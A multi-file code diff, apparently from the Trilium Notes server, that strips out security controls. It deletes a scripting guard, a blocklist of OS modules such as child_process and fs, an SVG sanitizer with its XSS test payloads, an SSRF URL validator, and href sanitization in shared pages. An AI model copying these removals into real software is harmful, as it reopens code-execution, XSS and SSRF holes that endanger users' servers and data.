const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as () => unknown).call(target);
}
// Otherwise it's a pure property chain: varName.prop1.prop2...
const propChainMatch = expr.match(/^[a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*$/);
if (!propChainMatch) {
throw new Error(`Template expression '${expr}' is not a supported expression. ` +
`Only property access and whitelisted method calls are allowed.`);
}
return resolvePropertyChain(expr, variables);
}
/**
* Resolves a dot-separated property chain like "parentNote.title" against variables.
*/
function resolvePropertyChain(chain: string, variables: TemplateVariables): unknown {
const parts = chain.split(".");
const rootName = parts[0];
if (!(rootName in variables)) {
throw new Error(`Unknown variable '${rootName}' in template expression`);
}
let current: unknown = variables[rootName];
for (let i = 1; i < parts.length; i++) {
if (current == null) {
return null;
}
const prop = parts[i];
if (!ALLOWED_PROPERTIES.has(prop)) {
throw new Error(`Property '${prop}' is not allowed in template expressions`);
}
current = (current as Record<string, unknown>)[prop];
}
return current;
}
/**
* Convenience wrapper that evaluates a template and catches errors,
* logging them and returning the fallback value.
*/
export function evaluateTemplateSafe(
template: string,
variables: TemplateVariables,
fallback: string,
contextDescription: string
): string {
try {
return evaluateTemplate(template, variables);
} catch (e: any) {
log.error(`Template evaluation for ${contextDescription} failed with: ${e.message}`);
return fallback;
}
}

View File

@@ -8,7 +8,6 @@ import hiddenSubtreeService from "./hidden_subtree.js";
import type BNote from "../becca/entities/bnote.js";
import options from "./options.js";
import { getLastProtectedSessionOperationDate, isProtectedSessionAvailable, resetDataKey } from "./protected_session.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import ws from "./ws.js";
function getRunAtHours(note: BNote): number[] {
@@ -45,7 +44,7 @@ if (sqlInit.isDbInitialized()) {
// Periodic checks.
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
if (!process.env.TRILIUM_SAFE_MODE) {
setTimeout(
cls.wrap(() => runNotesWithLabel("backendStartup")),
10 * 1000
@@ -61,14 +60,12 @@ sqlInit.dbReady.then(() => {
24 * 3600 * 1000
);
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
}
// Internal maintenance - always runs regardless of scripting setting
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
setInterval(() => checkProtectedSessionExpiration(), 30000);
});

View File

@@ -3,51 +3,6 @@ import BackendScriptApi from "./backend_script_api.js";
import type BNote from "../becca/entities/bnote.js";
import type { ApiParams } from "./backend_script_api_interface.js";
/**
* IMPORTANT: This module allowlist/blocklist is a defense-in-depth measure only.
* It is NOT a security sandbox. Scripts execute via eval() in the main Node.js
* process and can bypass these restrictions through globalThis, process, etc.
* The actual security boundary is the [Scripting] enabled=false config toggle,
* which prevents script execution entirely.
*
* Modules that are safe for user scripts to require.
* Note-based modules (resolved via note title matching) are handled separately
* and always allowed regardless of this list.
*/
const ALLOWED_MODULES = new Set([
// Safe utility libraries
"dayjs",
"marked",
"turndown",
"cheerio",
"axios",
"xml2js",
"escape-html",
"sanitize-html",
"lodash",
]);
/**
* Modules that are ALWAYS blocked even when scripting is enabled.
* These provide OS-level access that makes RCE trivial.
*/
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
type Module = {
exports: any[];
};
@@ -71,23 +26,7 @@ class ScriptContext {
const note = candidates.find((c) => c.title === moduleName);
if (!note) {
// Check blocked list first
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Allow if in whitelist
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
return require(moduleName);
}
return this.modules[note.noteId].exports;

View File

@@ -1,148 +0,0 @@
import { vi, describe, it, expect, beforeEach } from "vitest";
// Mutable mock state that can be changed between tests
const mockState = {
isElectron: false,
scriptingEnabled: false,
sqlConsoleEnabled: false
};
// Mock utils module so isElectron can be controlled per test
vi.mock("./utils.js", () => ({
isElectron: false,
default: {
isElectron: false
}
}));
// Mock config module so Scripting section can be controlled per test
vi.mock("./config.js", () => ({
default: {
Scripting: {
get enabled() {
return mockState.scriptingEnabled;
},
get sqlConsoleEnabled() {
return mockState.sqlConsoleEnabled;
}
}
}
}));
describe("scripting_guard", () => {
beforeEach(() => {
// Reset to defaults
mockState.isElectron = false;
mockState.scriptingEnabled = false;
mockState.sqlConsoleEnabled = false;
vi.resetModules();
});
describe("assertScriptingEnabled", () => {
it("should throw when scripting is disabled and not Electron", async () => {
mockState.isElectron = false;
mockState.scriptingEnabled = false;
// Re-mock utils with isElectron = false
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrowError(
/Script execution is disabled/
);
});
it("should not throw when scripting is enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should not throw when isElectron is true even if config is false", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
});
describe("assertSqlConsoleEnabled", () => {
it("should throw when SQL console is disabled and not Electron", async () => {
mockState.sqlConsoleEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrowError(
/SQL console is disabled/
);
});
it("should not throw when SQL console is enabled", async () => {
mockState.sqlConsoleEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).not.toThrow();
});
});
describe("isScriptingEnabled", () => {
it("should return false when disabled and not Electron", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(false);
});
it("should return true when enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
it("should return true when isElectron is true", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
});
});

View File

@@ -1,28 +0,0 @@
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}

View File

@@ -17,7 +17,6 @@ import type { SearchParams, TokenStructure } from "./types.js";
import type Expression from "../expressions/expression.js";
import sql from "../../sql.js";
import scriptService from "../../script.js";
import { isScriptingEnabled } from "../../scripting_guard.js";
import striptags from "striptags";
import protectedSessionService from "../../protected_session.js";
@@ -81,11 +80,6 @@ function searchFromRelation(note: BNote, relationName: string) {
return [];
}
if (!isScriptingEnabled()) {
log.info("Script-based search is disabled (scripting is not enabled).");
return [];
}
if (!scriptNote.isJavaScript() || scriptNote.getScriptEnv() !== "backend") {
log.info(`Note ${scriptNote.noteId} is not executable.`);

View File

@@ -1,241 +0,0 @@
import { describe, expect, it } from "vitest";
import { sanitizeSvg } from "./svg_sanitizer.js";
describe("SVG Sanitizer", () => {
describe("removes dangerous elements", () => {
it("strips <script> tags with content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
});
it("strips <script> tags case-insensitively", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><SCRIPT>alert('XSS')</SCRIPT></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("SCRIPT");
expect(clean).not.toContain("alert");
});
it("strips <script> tags with attributes", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script type="text/javascript">alert('XSS')</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
});
it("strips self-closing <script> tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script src="evil.js"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("evil.js");
});
it("strips <foreignObject> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("alert");
});
it("strips <iframe> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><iframe src="https://evil.com"></iframe></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<iframe");
expect(clean).not.toContain("evil.com");
});
it("strips <embed> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><embed src="evil.swf"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<embed");
});
it("strips <object> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><object data="evil.swf"></object></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<object");
});
it("strips <link> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><link rel="stylesheet" href="evil.css"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<link");
});
it("strips <meta> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><meta http-equiv="refresh" content="0;url=evil.com"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<meta");
});
});
describe("removes event handler attributes", () => {
it("strips onload from SVG root", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onload");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
expect(clean).toContain("<svg");
});
it("strips onclick from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><circle r="50" onclick="alert('XSS')"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onclick");
expect(clean).not.toContain("alert");
expect(clean).toContain("r=\"50\"");
});
it("strips onerror from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><image onerror="alert('XSS')" href="x"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onerror");
expect(clean).not.toContain("alert");
});
it("strips onmouseover from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert('XSS')" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onmouseover");
});
it("strips onfocus from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onfocus="alert('XSS')" tabindex="0"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onfocus");
});
});
describe("removes dangerous URI schemes", () => {
it("strips javascript: URIs from href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
expect(clean).toContain("<text>Click</text>");
});
it("strips javascript: URIs from xlink:href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a xlink:href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
it("strips data:text/html URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("data:text/html");
});
it("strips vbscript: URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="vbscript:msgbox('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("vbscript:");
});
it("strips javascript: URIs with whitespace padding", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href=" javascript:alert(1)"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
});
describe("removes xml-stylesheet processing instructions", () => {
it("strips xml-stylesheet PIs", () => {
const dirty = `<?xml-stylesheet type="text/xsl" href="evil.xsl"?><svg xmlns="http://www.w3.org/2000/svg"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("xml-stylesheet");
expect(clean).toContain("<circle");
});
});
describe("preserves legitimate SVG content", () => {
it("preserves basic SVG shapes", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" fill="red"/><rect x="10" y="10" width="80" height="80" fill="blue"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG paths", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><path d="M10 10 L90 90" stroke="black" stroke-width="2"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG text elements", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><text x="50" y="50" font-size="20">Hello World</text></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG groups and transforms", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><g transform="translate(10,10)"><circle r="5"/></g></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG style elements with CSS (not script)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><style>.cls{fill:red}</style><circle class="cls" r="50"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("<style>");
expect(clean).toContain("fill:red");
});
it("preserves SVG defs and gradients", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="grad"><stop offset="0%" stop-color="red"/><stop offset="100%" stop-color="blue"/></linearGradient></defs><rect fill="url(#grad)" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("linearGradient");
expect(clean).toContain("url(#grad)");
});
it("preserves safe href attributes (non-javascript)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><a href="https://example.com"><text>Link</text></a></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain(`href="https://example.com"`);
});
it("preserves data: URIs for images (non-HTML)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><image href="data:image/png;base64,abc123"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("data:image/png;base64,abc123");
});
it("preserves empty SVG", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
});
describe("handles edge cases", () => {
it("handles Buffer input", () => {
const svg = Buffer.from(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`);
const clean = sanitizeSvg(svg);
expect(clean).not.toContain("<script");
});
it("handles multiple script tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle r="50"/><script>alert(2)</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).toContain("<circle");
});
it("handles mixed dangerous content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><img onerror="alert(3)"/></body></foreignObject><circle r="50" onclick="alert(4)"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("alert");
expect(clean).not.toContain("onload");
expect(clean).not.toContain("<script");
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("onclick");
expect(clean).toContain("<circle");
});
it("handles empty string input", () => {
expect(sanitizeSvg("")).toBe("");
});
});
});

View File

@@ -1,158 +0,0 @@
/**
* SVG sanitizer to prevent stored XSS via malicious SVG content.
*
* SVG files can contain embedded JavaScript via <script> tags, event handler
* attributes (onload, onclick, etc.), <foreignObject> elements, and
* javascript: URIs. This sanitizer strips all such dangerous constructs
* while preserving legitimate SVG rendering elements.
*
* Defense-in-depth: SVG responses also receive a restrictive
* Content-Security-Policy header (see {@link setSvgHeaders}) to block
* script execution even if sanitization is bypassed.
*/
import type { Response } from "express";
// Elements that MUST be removed from SVG (they can execute code or embed arbitrary HTML)
const DANGEROUS_ELEMENTS = new Set([
"script",
"foreignobject",
"iframe",
"embed",
"object",
"applet",
"base",
"link", // can load external resources
"meta",
]);
// Attribute prefixes/names that indicate event handlers
const EVENT_HANDLER_PATTERN = /^on[a-z]/i;
// Dangerous attribute values (javascript:, data: with script content, vbscript:)
const DANGEROUS_URI_PATTERN = /^\s*(javascript|vbscript|data\s*:\s*text\/html)/i;
// Attributes that can contain URIs
const URI_ATTRIBUTES = new Set([
"href",
"xlink:href",
"src",
"action",
"formaction",
"data",
]);
// SVG "set" and "animate" elements can modify attributes to dangerous values
const DANGEROUS_ANIMATION_ATTRIBUTES = new Set([
"attributename",
]);
/**
* Sanitizes SVG content by removing dangerous elements and attributes
* that could lead to script execution (XSS).
*
* This uses regex-based parsing rather than a full DOM parser to avoid
* adding heavy dependencies. The approach is conservative: it removes
* known-dangerous constructs rather than allowlisting, but combined with
* the CSP header this provides robust protection.
*/
export function sanitizeSvg(svg: string | Buffer): string {
let content = typeof svg === "string" ? svg : svg.toString("utf-8");
// 1. Remove dangerous elements and their contents entirely.
// Use a case-insensitive regex that handles self-closing and content-bearing tags.
for (const element of DANGEROUS_ELEMENTS) {
// Remove opening+closing tag pairs (including content between them)
const pairRegex = new RegExp(
`<${element}[\\s>][\\s\\S]*?<\\/${element}\\s*>`,
"gi"
);
content = content.replace(pairRegex, "");
// Remove self-closing variants
const selfClosingRegex = new RegExp(
`<${element}(\\s[^>]*)?\\/?>`,
"gi"
);
content = content.replace(selfClosingRegex, "");
}
// 2. Remove event handler attributes (onclick, onload, onerror, etc.)
// and dangerous URI attributes from all remaining elements.
content = content.replace(/<([a-zA-Z][a-zA-Z0-9-]*)((?:\s+[^>]*?)?)(\s*\/?>)/g,
(_match, tagName, attrs, closing) => {
if (!attrs || !attrs.trim()) {
return `<${tagName}${closing}`;
}
// Parse and filter attributes
const sanitizedAttrs = sanitizeAttributes(attrs);
return `<${tagName}${sanitizedAttrs}${closing}`;
}
);
// 3. Remove processing instructions that could be exploited
content = content.replace(/<\?xml-stylesheet[^?]*\?>/gi, "");
return content;
}
/**
* Sanitizes the attribute string of an SVG element by removing
* event handlers and dangerous URI values.
*/
function sanitizeAttributes(attrString: string): string {
// Match individual attributes: name="value", name='value', name=value, or standalone name
return attrString.replace(
/\s+([a-zA-Z_:][\w:.-]*)\s*(?:=\s*(?:"([^"]*)"|'([^']*)'|(\S+)))?/g,
(fullMatch, attrName, dblVal, sglVal, unquotedVal) => {
const lowerAttrName = attrName.toLowerCase();
const attrValue = dblVal ?? sglVal ?? unquotedVal ?? "";
// Remove all event handler attributes
if (EVENT_HANDLER_PATTERN.test(lowerAttrName)) {
return "";
}
// Check URI-bearing attributes for dangerous schemes
if (URI_ATTRIBUTES.has(lowerAttrName)) {
if (DANGEROUS_URI_PATTERN.test(attrValue)) {
return "";
}
}
// Block animation elements from targeting event handlers via attributeName
if (DANGEROUS_ANIMATION_ATTRIBUTES.has(lowerAttrName)) {
const targetAttr = attrValue.toLowerCase();
if (EVENT_HANDLER_PATTERN.test(targetAttr) || targetAttr === "href" || targetAttr === "xlink:href") {
return "";
}
}
return fullMatch;
}
);
}
/**
* Sets security headers appropriate for SVG responses.
* This provides defense-in-depth: even if SVG sanitization is somehow
* bypassed, the CSP header prevents script execution.
*/
export function setSvgHeaders(res: Response): void {
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
// Restrictive CSP that allows SVG rendering but blocks all script execution,
// inline event handlers, and plugin-based content.
res.set(
"Content-Security-Policy",
"default-src 'none'; style-src 'unsafe-inline'; img-src 'self' data:; font-src 'self' data:"
);
// Prevent SVG from being reinterpreted in a different MIME context
res.set("X-Content-Type-Options", "nosniff");
}
export default {
sanitizeSvg,
setSvgHeaders
};

View File

@@ -5,8 +5,6 @@ import eventService from "./events.js";
import entityConstructor from "../becca/entity_constructor.js";
import ws from "./ws.js";
import type { EntityChange, EntityChangeRecord, EntityRow } from "@triliumnext/commons";
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
interface UpdateContext {
alreadyErased: number;
@@ -93,18 +91,6 @@ function updateNormalEntity(remoteEC: EntityChange, remoteEntityRow: EntityRow |
preProcessContent(remoteEC, remoteEntityRow);
// When scripting is disabled, prefix dangerous attributes with 'disabled:'
// Same pattern as safeImport in attributes.ts
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as Record<string, unknown>;
if (typeof attrRow.type === "string" && typeof attrRow.name === "string"
&& !attrRow.isDeleted
&& attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
attrRow.name = `disabled:${attrRow.name}`;
}
}
sql.replace(remoteEC.entityName, remoteEntityRow);
updateContext.updated[remoteEC.entityName] = updateContext.updated[remoteEC.entityName] || [];

View File

@@ -1,140 +0,0 @@
/**
* URL validation utilities to prevent SSRF (Server-Side Request Forgery) attacks.
*
* These checks enforce scheme allowlists and optionally block requests to
* private/internal IP ranges so that user-controlled URLs cannot be used to
* reach local files or internal network services.
*/
import { URL } from "url";
import log from "./log.js";
/**
* IPv4 private and reserved ranges that should not be reachable from
* server-side HTTP requests initiated by user-supplied URLs.
*/
const PRIVATE_IPV4_RANGES: Array<{ prefix: number; mask: number }> = [
{ prefix: 0x7F000000, mask: 0xFF000000 }, // 127.0.0.0/8 (loopback)
{ prefix: 0x0A000000, mask: 0xFF000000 }, // 10.0.0.0/8 (private)
{ prefix: 0xAC100000, mask: 0xFFF00000 }, // 172.16.0.0/12 (private)
{ prefix: 0xC0A80000, mask: 0xFFFF0000 }, // 192.168.0.0/16 (private)
{ prefix: 0xA9FE0000, mask: 0xFFFF0000 }, // 169.254.0.0/16 (link-local)
{ prefix: 0x00000000, mask: 0xFF000000 }, // 0.0.0.0/8 (current network)
];
/**
* Parse a dotted-decimal IPv4 address into a 32-bit integer, or return null
* if the string is not a valid IPv4 literal.
*/
function parseIPv4(ip: string): number | null {
const parts = ip.split(".");
if (parts.length !== 4) return null;
let result = 0;
for (const part of parts) {
const octet = Number(part);
if (!Number.isInteger(octet) || octet < 0 || octet > 255) return null;
result = (result << 8) | octet;
}
// Convert to unsigned 32-bit
return result >>> 0;
}
/**
* Returns true when the hostname is a private/internal IPv4 address, an IPv6
* loopback (::1), or an IPv6 unique-local address (fc00::/7).
*
* DNS resolution is NOT performed here; the check only applies when the
* hostname is already an IP literal. For full SSRF protection against DNS
* rebinding you would need an additional check after resolution, but
* blocking IP literals covers the most common attack vectors.
*/
function isPrivateIP(hostname: string): boolean {
// Strip IPv6 bracket notation that URL may retain.
const cleanHost = hostname.replace(/^\[|\]$/g, "");
// IPv6 checks
if (cleanHost === "::1") return true;
if (cleanHost.toLowerCase().startsWith("fc") || cleanHost.toLowerCase().startsWith("fd")) {
// fc00::/7 covers fc00:: through fdff::
return true;
}
// IPv4 check
const ipNum = parseIPv4(cleanHost);
if (ipNum !== null) {
for (const range of PRIVATE_IPV4_RANGES) {
if ((ipNum & range.mask) === (range.prefix >>> 0)) {
return true;
}
}
}
// "localhost" as a hostname (not an IP literal)
if (cleanHost.toLowerCase() === "localhost") {
return true;
}
return false;
}
/** Schemes that are safe for outbound HTTP(S) image downloads. */
const ALLOWED_HTTP_SCHEMES = new Set(["http:", "https:"]);
/**
* Validate that a URL is safe for server-side fetching (e.g. image downloads).
*
* Rules:
* 1. Only http: and https: schemes are permitted.
* 2. The hostname must not resolve to a private/internal IP range.
*
* Returns `true` when the URL passes all checks, `false` otherwise.
* Invalid / unparseable URLs also return `false`.
*/
export function isSafeUrlForFetch(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
if (isPrivateIP(parsed.hostname)) {
log.info(`URL rejected - private/internal IP '${parsed.hostname}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`URL rejected - failed to parse: ${urlStr}`);
return false;
}
}
/**
* Validate that a base URL intended for an LLM provider API is using a safe
* scheme (http or https only).
*
* This is a lighter check than `isSafeUrlForFetch` because LLM base URLs are
* configured by authenticated administrators, so we only enforce the scheme
* restriction without blocking private IPs (which are legitimate for
* self-hosted services like Ollama).
*
* Returns `true` when the URL passes the check, `false` otherwise.
*/
export function isSafeProviderBaseUrl(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`LLM provider base URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`LLM provider base URL rejected - failed to parse: ${urlStr}`);
return false;
}
}

View File

@@ -1,5 +1,4 @@
import chardet from "chardet";
import crypto from "crypto";
import escape from "escape-html";
@@ -516,6 +515,13 @@ function slugify(text: string) {
.replace(/(^-|-$)+/g, ""); // trim dashes
}
export function waitForStreamToFinish(stream: any): Promise<void> {
return new Promise((resolve, reject) => {
stream.on("finish", () => resolve());
stream.on("error", (err) => reject(err));
});
}
export default {
compareVersions,
constantTimeCompare,
@@ -556,5 +562,6 @@ export default {
toBase64,
toMap,
toObject,
unescapeHtml
unescapeHtml,
waitForStreamToFinish
};

View File

@@ -14,7 +14,6 @@ import BNote from "../becca/entities/bnote.js";
import assetPath, { assetUrlFragment } from "../services/asset_path.js";
import { generateCss, getIconPacks, MIME_TO_EXTENSION_MAPPINGS, ProcessedIconPack } from "../services/icon_packs.js";
import log from "../services/log.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
import options from "../services/options.js";
import utils, { getResourceDir, isDev, safeExtractMessageAndStackFromError } from "../services/utils.js";
import SAttachment from "./shaca/entities/sattachment.js";
@@ -194,13 +193,11 @@ function renderNoteContentInternal(note: SNote | BNote, renderArgs: RenderArgs)
t,
isDev,
utils,
sanitizeUrl,
...renderArgs,
};
// Check if the user has their own template.
// Skip user-provided EJS templates when scripting is disabled since EJS can execute arbitrary JS.
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
if (note.hasRelation("shareTemplate")) {
// Get the template note and content
const templateId = note.getRelation("shareTemplate")?.value;
const templateNote = templateId && shaca.getNote(templateId);
@@ -303,9 +300,7 @@ function renderIndex(result: Result) {
for (const childNote of rootNote.getChildNotes()) {
const isExternalLink = childNote.hasLabel("shareExternalLink");
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
// Sanitize href to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink ? escapeHtml(sanitizeUrl(rawHref ?? "")) : escapeHtml(rawHref ?? "");
const href = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const target = isExternalLink ? `target="_blank" rel="noopener noreferrer"` : "";
result.content += `<li><a class="${childNote.type}" href="${href}" ${target}>${childNote.escapedTitle}</a></li>`;
}
@@ -409,10 +404,7 @@ function handleAttachmentLink(linkEl: HTMLElement, href: string, getNote: GetNot
const linkedNote = getNote(noteId);
if (linkedNote) {
const isExternalLink = linkedNote.hasLabel("shareExternalLink");
// Sanitize external links to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink
? sanitizeUrl(linkedNote.getLabelValue("shareExternalLink") ?? "")
: `./${linkedNote.shareId}`;
const href = isExternalLink ? linkedNote.getLabelValue("shareExternalLink") : `./${linkedNote.shareId}`;
if (href) {
linkEl.setAttribute("href", href);
}

View File

@@ -10,7 +10,6 @@ import type SNote from "./shaca/entities/snote.js";
import type SAttachment from "./shaca/entities/sattachment.js";
import { getDefaultTemplatePath, renderNoteContent } from "./content_renderer.js";
import utils from "../services/utils.js";
import { sanitizeSvg, setSvgHeaders } from "../services/svg_sanitizer.js";
function addNoIndexHeader(note: SNote, res: Response) {
